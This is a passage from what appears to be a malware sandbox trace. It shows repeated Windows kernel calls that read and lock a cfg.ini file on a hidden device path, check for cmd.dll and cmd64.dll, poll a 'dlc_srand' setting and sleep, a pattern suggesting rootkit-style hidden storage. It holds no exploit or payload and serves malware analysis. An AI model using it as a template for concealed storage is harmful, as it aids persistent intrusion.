_Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.725] KeEnterCriticalRegion () [0126.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.725] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.725] IdePortDispatch () returned 0x103 [0126.725] KeWaitForMutexObject () returned 0x0 [0126.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.725] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.725] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.725] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.725] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.725] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed270 [0126.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.725] KeLeaveCriticalRegion () [0126.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.725] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.725] KeEnterCriticalRegion () [0126.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.725] KeLeaveCriticalRegion () [0126.725] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.725] KeEnterCriticalRegion () [0126.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.725] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.725] IdePortDispatch () returned 0x103 [0126.725] KeWaitForMutexObject () returned 0x0 [0126.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.726] KeLeaveCriticalRegion () [0126.726] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.726] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.726] KeEnterCriticalRegion () [0126.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ba000 [0126.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.726] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.726] IdePortDispatch () returned 0x103 [0126.726] KeWaitForMutexObject () returned 0x0 [0126.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.726] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.726] IdePortDispatch () returned 0x103 [0126.726] KeWaitForMutexObject () returned 0x0 [0126.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] KeLeaveCriticalRegion () [0126.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.727] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.727] KeEnterCriticalRegion () [0126.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] KeLeaveCriticalRegion () [0126.727] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.727] KeEnterCriticalRegion () [0126.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.727] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] KeLeaveCriticalRegion () [0126.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.727] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.727] KeEnterCriticalRegion () [0126.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] ExFreePoolWithTag (P=0xfffffa80037ed270, Tag=0x0) [0126.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.727] KeLeaveCriticalRegion () [0126.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.727] ReleaseMutex (hMutex=0xf0) returned 1 [0126.728] Sleep (dwMilliseconds=0x124f80) [0126.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.743] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.743] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.743] KeEnterCriticalRegion () [0126.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.743] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.743] IdePortDispatch () returned 0x103 [0126.743] KeWaitForMutexObject () returned 0x0 [0126.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.744] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.744] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.744] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.744] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.744] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0b30 [0126.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] KeLeaveCriticalRegion () [0126.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.744] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.744] KeEnterCriticalRegion () [0126.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] KeLeaveCriticalRegion () [0126.744] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.744] KeEnterCriticalRegion () [0126.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.744] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.744] IdePortDispatch () returned 0x103 [0126.744] KeWaitForMutexObject () returned 0x0 [0126.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] KeLeaveCriticalRegion () [0126.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.744] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.744] KeEnterCriticalRegion () [0126.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bf000 [0126.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.745] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.745] IdePortDispatch () returned 0x103 [0126.745] KeWaitForMutexObject () returned 0x0 [0126.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.745] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.745] IdePortDispatch () returned 0x103 [0126.745] KeWaitForMutexObject () returned 0x0 [0126.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.745] KeLeaveCriticalRegion () [0126.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.746] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.746] KeEnterCriticalRegion () [0126.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] KeLeaveCriticalRegion () [0126.746] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.746] KeEnterCriticalRegion () [0126.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.746] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] KeLeaveCriticalRegion () [0126.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.746] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.746] KeEnterCriticalRegion () [0126.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] ExFreePoolWithTag (P=0xfffffa80037e0b30, Tag=0x0) [0126.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] KeLeaveCriticalRegion () [0126.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.746] ReleaseMutex (hMutex=0xf0) returned 1 [0126.746] Sleep (dwMilliseconds=0x124f80) [0126.755] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.758] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.758] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.758] KeEnterCriticalRegion () [0126.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.758] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.758] IdePortDispatch () returned 0x103 [0126.758] KeWaitForMutexObject () returned 0x0 [0126.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.758] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.759] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.759] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.759] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.759] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6310 [0126.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.759] KeLeaveCriticalRegion () [0126.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.759] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.759] KeEnterCriticalRegion () [0126.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.759] KeLeaveCriticalRegion () [0126.759] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.759] KeEnterCriticalRegion () [0126.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.759] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.759] IdePortDispatch () returned 0x103 [0126.759] KeWaitForMutexObject () returned 0x0 [0126.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.759] KeLeaveCriticalRegion () [0126.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.760] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.760] KeEnterCriticalRegion () [0126.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0126.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.760] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.760] IdePortDispatch () returned 0x103 [0126.760] KeWaitForMutexObject () returned 0x0 [0126.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.760] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.760] IdePortDispatch () returned 0x103 [0126.760] KeWaitForMutexObject () returned 0x0 [0126.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.761] KeLeaveCriticalRegion () [0126.761] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.761] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.761] KeEnterCriticalRegion () [0126.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.761] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.761] KeLeaveCriticalRegion () [0126.761] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.761] KeEnterCriticalRegion () [0126.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.761] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.761] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.761] KeLeaveCriticalRegion () [0126.761] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.762] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.762] KeEnterCriticalRegion () [0126.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.762] ExFreePoolWithTag (P=0xfffffa8003ac6310, Tag=0x0) [0126.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.762] KeLeaveCriticalRegion () [0126.762] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.762] ReleaseMutex (hMutex=0xf0) returned 1 [0126.762] Sleep (dwMilliseconds=0x124f80) [0126.772] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.772] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.772] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.772] KeEnterCriticalRegion () [0126.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.772] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.772] IdePortDispatch () returned 0x103 [0126.772] KeWaitForMutexObject () returned 0x0 [0126.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.773] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.773] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.773] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.773] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.773] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accb30 [0126.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.773] KeLeaveCriticalRegion () [0126.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.773] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.773] KeEnterCriticalRegion () [0126.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.773] KeLeaveCriticalRegion () [0126.773] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.773] KeEnterCriticalRegion () [0126.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 